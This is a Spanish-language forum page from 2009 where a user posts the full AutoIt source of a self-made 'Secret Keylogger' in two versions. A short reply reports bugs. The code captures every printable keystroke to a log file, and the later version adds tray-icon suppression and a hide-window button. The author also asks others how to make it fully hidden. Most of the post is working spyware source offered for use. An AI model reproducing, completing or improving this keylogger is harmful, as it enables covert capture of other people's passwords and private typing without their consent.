|
Mostrar Mensajes
|
Páginas: 1 [2]
|
11
|
Programación / Scripting / Re: Secret keylogger (creado por mi) -Terminado-
|
en: 1 Agosto 2009, 03:08 am
|
No lo había probado antes, ahora que lo he hecho me encontrado con varios problemas , entre ellos: - Si el nombre del ejecutable no es "autoit3.exe" entonces no se cierra
- Lo de Ocultar no sirve como debería, porque si ocultas sin haber comenzado a registrar pulsaciones ya no puedes hacerlo aparecer XD
- Ningún botón funciona luego de iniciado el registro de teclas ... ya que te metes en un bucle en el que registras las demás teclas, pero no los botones
Bueno .... eso he visto por el momento, así que quizás le haga un par de modificaciones y lo cuelgue Saludos A mi me funcionan los botones O_O
|
|
|
13
|
Programación / Scripting / Secret keylogger (creado por mi) -Terminado-
|
en: 22 Julio 2009, 21:44 pm
|
Soy nuevo en el foro... Este programa se llama Secret Keylogger ( Re original XDD) Bueno... esta sin terminar, tiene todas las funciones de un keylogger pero me falta que se oculte... Por ahora ocupa una ventana como todos pero pretendo mejorarlo para q quede oculto... Esta programado x mi en autoit Nota: Quisas tengan q mover el "tema" a otro subforoUna imágen : Esta programado en AutoIt Acá les dejo el codigo para q alguien q sepa un poco de autoit lo revise y vea q se puede mejorar ... y x fa... alguien expliqueme como hago para q quede oculto XDD #NoTrayIcon #include <Process.au3> #include <GUIConstants.au3>
$file = FileOpen("slogger.txt", 1) If $file = -1 Then MsgBox(0, "Error", "El file no se pudo crear/abrir.") Exit EndIf
#Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Secret Keylogger v1.2 BY: JMG", 463, 395, 191, 121) $Button1 = GUICtrlCreateButton("Comenzar", 16, 32, 73, 33, 0) $Group1 = GUICtrlCreateGroup("Keylogger", 8, 16, 201, 89) $Button2 = GUICtrlCreateButton("Guardar Log", 96, 32, 73, 33, 0) $Button3 = GUICtrlCreateButton("Cerrar", 56, 72, 97, 17, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) $Group2 = GUICtrlCreateGroup("Acerca de secret keylogger", 8, 112, 201, 233) $Button4 = GUICtrlCreateButton("Acerca del autor", 24, 136, 153, 49, 0) $Button5 = GUICtrlCreateButton("Acerca de secret keylogger", 24, 192, 153, 49, 0) $Label5 = GUICtrlCreateLabel("No existen comentarios tontos", 24, 248, 146, 17) $Label6 = GUICtrlCreateLabel("sino tontos que comentan", 32, 264, 126, 17) GUICtrlCreateGroup("", -99, -99, 1, 1) $MonthCal1 = GUICtrlCreateMonthCal("2009/07/12", 240, 40, 193, 177) $Label4 = GUICtrlCreateLabel("JMG ®", 280, 312, 104, 41) GUICtrlSetFont(-1, 24, 400, 0, "MS Sans Serif") GUICtrlCreateGroup("", -99, -99, 1, 1) $Group4 = GUICtrlCreateGroup("Calendario", 224, 24, 225, 201) GUICtrlCreateGroup("", -99, -99, 1, 1) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ###
While (1) $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE exit Case $Button1 while(1) HotKeySet("!k", "menukey") HotKeySet(" ", "logea") HotKeySet("a", "logea") HotKeySet("b", "logea") HotKeySet("c", "logea") HotKeySet("d", "logea") HotKeySet("e", "logea") HotKeySet("f", "logea") HotKeySet("g", "logea") HotKeySet("h", "logea") HotKeySet("i", "logea") HotKeySet("j", "logea") HotKeySet("k", "logea") HotKeySet("l", "logea") HotKeySet("m", "logea") HotKeySet("n", "logea") HotKeySet("ñ", "logea") HotKeySet("o", "logea") HotKeySet("p", "logea") HotKeySet("q", "logea") HotKeySet("r", "logea") HotKeySet("s", "logea") HotKeySet("t", "logea") HotKeySet("u", "logea") HotKeySet("v", "logea") HotKeySet("w", "logea") HotKeySet("x", "logea") HotKeySet("y", "logea") HotKeySet("z", "logea") HotKeySet("A", "logea") HotKeySet("B", "logea") HotKeySet("C", "logea") HotKeySet("D", "logea") HotKeySet("E", "logea") HotKeySet("F", "logea") HotKeySet("G", "logea") HotKeySet("H", "logea") HotKeySet("I", "logea") HotKeySet("J", "logea") HotKeySet("K", "logea") HotKeySet("L", "logea") HotKeySet("M", "logea") HotKeySet("N", "logea") HotKeySet("Ñ", "logea") HotKeySet("O", "logea") HotKeySet("P", "logea") HotKeySet("Q", "logea") HotKeySet("R", "logea") HotKeySet("S", "logea") HotKeySet("T", "logea") HotKeySet("U", "logea") HotKeySet("V", "logea") HotKeySet("W", "logea") HotKeySet("X", "logea") HotKeySet("Y", "logea") HotKeySet("Z", "logea") HotKeySet("0", "logea") HotKeySet("1", "logea") HotKeySet("2", "logea") HotKeySet("3", "logea") HotKeySet("4", "logea") HotKeySet("5", "logea") HotKeySet("6", "logea") HotKeySet("7", "logea") HotKeySet("8", "logea") HotKeySet("9", "logea") hotkeyset("ª", "logea") hotkeyset("º", "logea") hotkeyset("\", "logea") hotkeyset("!", "logea") hotkeyset("|", "logea") hotkeyset("@", "logea") hotkeyset("·", "logea") hotkeyset("#", "logea") hotkeyset("$", "logea") hotkeyset("%", "logea") hotkeyset("&", "logea") hotkeyset("¬", "logea") hotkeyset("/", "logea") hotkeyset("(", "logea") hotkeyset(")", "logea") hotkeyset("=", "logea") hotkeyset("'", "logea") hotkeyset("?", "logea") hotkeyset("¡", "logea") hotkeyset("¿", "logea") hotkeyset("ç", "logea") hotkeyset("}", "logea") hotkeyset("<", "logea") hotkeyset(">", "logea") hotkeyset(",", "logea") hotkeyset(";", "logea") hotkeyset(".", "logea") hotkeyset(":", "logea") hotkeyset("-", "logea") hotkeyset("_", "logea") hotkeyset("´", "logea") hotkeyset("{", "logea") hotkeyset("¨", "logea") hotkeyset("^", "logea") hotkeyset("`", "logea") hotkeyset("[", "logea") hotkeyset("+", "logea") hotkeyset("*", "logea") hotkeyset("]", "logea") wend Case $Button2 msgbox(0,"Guardar","Para guardar persiona [alt+k]") case $Button3 processclose("AutoIt3.exe") case $Button4 msgbox(0,"Autor:","Creado por el_juanchiii(JMG)") case $Button5 msgbox(0,"Secret Keylogger","Es solo un keylogger mas ...") Endswitch WEnd
Func logea() HotKeySet(@HotKeyPressed) FileWrite($file, @HotKeyPressed) Send(@HotKeyPressed) EndFunc
Func menukey() FileClose($file) FileClose($file) $contenido = FileRead("slogger.txt") MsgBox(0,"Keys",$contenido) $file = FileOpen("slogger.txt", 1) EndFunc No es la gran cosa pero ta... La última version de secret keylogger (v1.2)"Testeado x mi" #NoTrayIcon #include <Process.au3> #include <GUIConstants.au3>
$file = FileOpen("slogger.txt", 1) If $file = -1 Then MsgBox(0, "Error", "El file no se pudo crear/abrir.") Exit EndIf
#Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Secret keylogger V1.2", 412, 348, 189, 116) $Button1 = GUICtrlCreateButton("Comenzar", 32, 24, 129, 33, 0) $Button2 = GUICtrlCreateButton("Guardar log", 32, 112, 129, 33, 0) $Button3 = GUICtrlCreateButton("Cerrar", 32, 64, 129, 33, 0) $Button4 = GUICtrlCreateButton("Autor", 224, 32, 129, 33, 0) $Button5 = GUICtrlCreateButton("Secret Keylogger", 224, 72, 129, 33, 0) $Group1 = GUICtrlCreateGroup("Keylogger", 8, 8, 193, 209) $Ocultar = GUICtrlCreateButton("Ocultar", 24, 152, 153, 57, 0) GUICtrlCreateGroup("", -99, -99, 1, 1) $Group2 = GUICtrlCreateGroup("Acerca de ", 208, 16, 161, 121) GUICtrlCreateGroup("", -99, -99, 1, 1) $Group3 = GUICtrlCreateGroup("Calendario", 208, 144, 193, 185) $MonthCal1 = GUICtrlCreateMonthCal("2009/07/23", 216, 160, 177, 161) GUICtrlCreateGroup("", -99, -99, 1, 1) $Label1 = GUICtrlCreateLabel("--JMG--", 48, 264, 111, 41) GUICtrlSetFont(-1, 24, 400, 0, "MS Sans Serif") GUICtrlSetColor(-1, 0x00FF00) GUICtrlSetBkColor(-1, 0x000000) $Graphic1 = GUICtrlCreateGraphic(16, 224, 177, 113) GUICtrlSetBkColor(-1, 0x000000) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ###
While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 while(1) HotKeySet("!k", "menukey") Hotkeyset("!m", "mostrar") HotKeySet(" ", "logea") HotKeySet("a", "logea") HotKeySet("b", "logea") HotKeySet("c", "logea") HotKeySet("d", "logea") HotKeySet("e", "logea") HotKeySet("f", "logea") HotKeySet("g", "logea") HotKeySet("h", "logea") HotKeySet("i", "logea") HotKeySet("j", "logea") HotKeySet("k", "logea") HotKeySet("l", "logea") HotKeySet("m", "logea") HotKeySet("n", "logea") HotKeySet("ñ", "logea") HotKeySet("o", "logea") HotKeySet("p", "logea") HotKeySet("q", "logea") HotKeySet("r", "logea") HotKeySet("s", "logea") HotKeySet("t", "logea") HotKeySet("u", "logea") HotKeySet("v", "logea") HotKeySet("w", "logea") HotKeySet("x", "logea") HotKeySet("y", "logea") HotKeySet("z", "logea") HotKeySet("A", "logea") HotKeySet("B", "logea") HotKeySet("C", "logea") HotKeySet("D", "logea") HotKeySet("E", "logea") HotKeySet("F", "logea") HotKeySet("G", "logea") HotKeySet("H", "logea") HotKeySet("I", "logea") HotKeySet("J", "logea") HotKeySet("K", "logea") HotKeySet("L", "logea") HotKeySet("M", "logea") HotKeySet("N", "logea") HotKeySet("Ñ", "logea") HotKeySet("O", "logea") HotKeySet("P", "logea") HotKeySet("Q", "logea") HotKeySet("R", "logea") HotKeySet("S", "logea") HotKeySet("T", "logea") HotKeySet("U", "logea") HotKeySet("V", "logea") HotKeySet("W", "logea") HotKeySet("X", "logea") HotKeySet("Y", "logea") HotKeySet("Z", "logea") HotKeySet("0", "logea") HotKeySet("1", "logea") HotKeySet("2", "logea") HotKeySet("3", "logea") HotKeySet("4", "logea") HotKeySet("5", "logea") HotKeySet("6", "logea") HotKeySet("7", "logea") HotKeySet("8", "logea") HotKeySet("9", "logea") hotkeyset("ª", "logea") hotkeyset("º", "logea") hotkeyset("\", "logea") hotkeyset("!", "logea") hotkeyset("|", "logea") hotkeyset("@", "logea") hotkeyset("·", "logea") hotkeyset("#", "logea") hotkeyset("$", "logea") hotkeyset("%", "logea") hotkeyset("&", "logea") hotkeyset("¬", "logea") hotkeyset("/", "logea") hotkeyset("(", "logea") hotkeyset(")", "logea") hotkeyset("=", "logea") hotkeyset("'", "logea") hotkeyset("?", "logea") hotkeyset("¡", "logea") hotkeyset("¿", "logea") hotkeyset("ç", "logea") hotkeyset("}", "logea") hotkeyset("<", "logea") hotkeyset(">", "logea") hotkeyset(",", "logea") hotkeyset(";", "logea") hotkeyset(".", "logea") hotkeyset(":", "logea") hotkeyset("-", "logea") hotkeyset("_", "logea") hotkeyset("´", "logea") hotkeyset("{", "logea") hotkeyset("¨", "logea") hotkeyset("^", "logea") hotkeyset("`", "logea") hotkeyset("[", "logea") hotkeyset("+", "logea") hotkeyset("*", "logea") hotkeyset("]", "logea") wend Case $Button2 msgbox(0,"Guardar","Para guardar persiona [alt+k]") case $Button3 processclose("AutoIt3.exe") case $Button4 msgbox(0,"Autor:","Creado por el_juanchiii(JMG)") case $Button5 msgbox(0,"Secret Keylogger","Es solo un keylogger mas ...") Case $Ocultar msgbox(0,"Ocultar:","Para mostrar la ventana otra vez preciona [alt+m]") guisetstate(@SW_HIDE) EndSwitch WEnd
Func logea() HotKeySet(@HotKeyPressed) FileWrite($file, @HotKeyPressed) Send(@HotKeyPressed) EndFunc
Func menukey() FileClose($file) FileClose($file) $contenido = FileRead("slogger.txt") MsgBox(0,"Keys",$contenido) $file = FileOpen("slogger.txt", 1) EndFunc
Func mostrar() guisetstate(@SW_SHOW) endfunc A ver ahora... No subo el .exe xq me lo borran Pero esta todo bien con los mod igual
|
|
|
|
|
|
|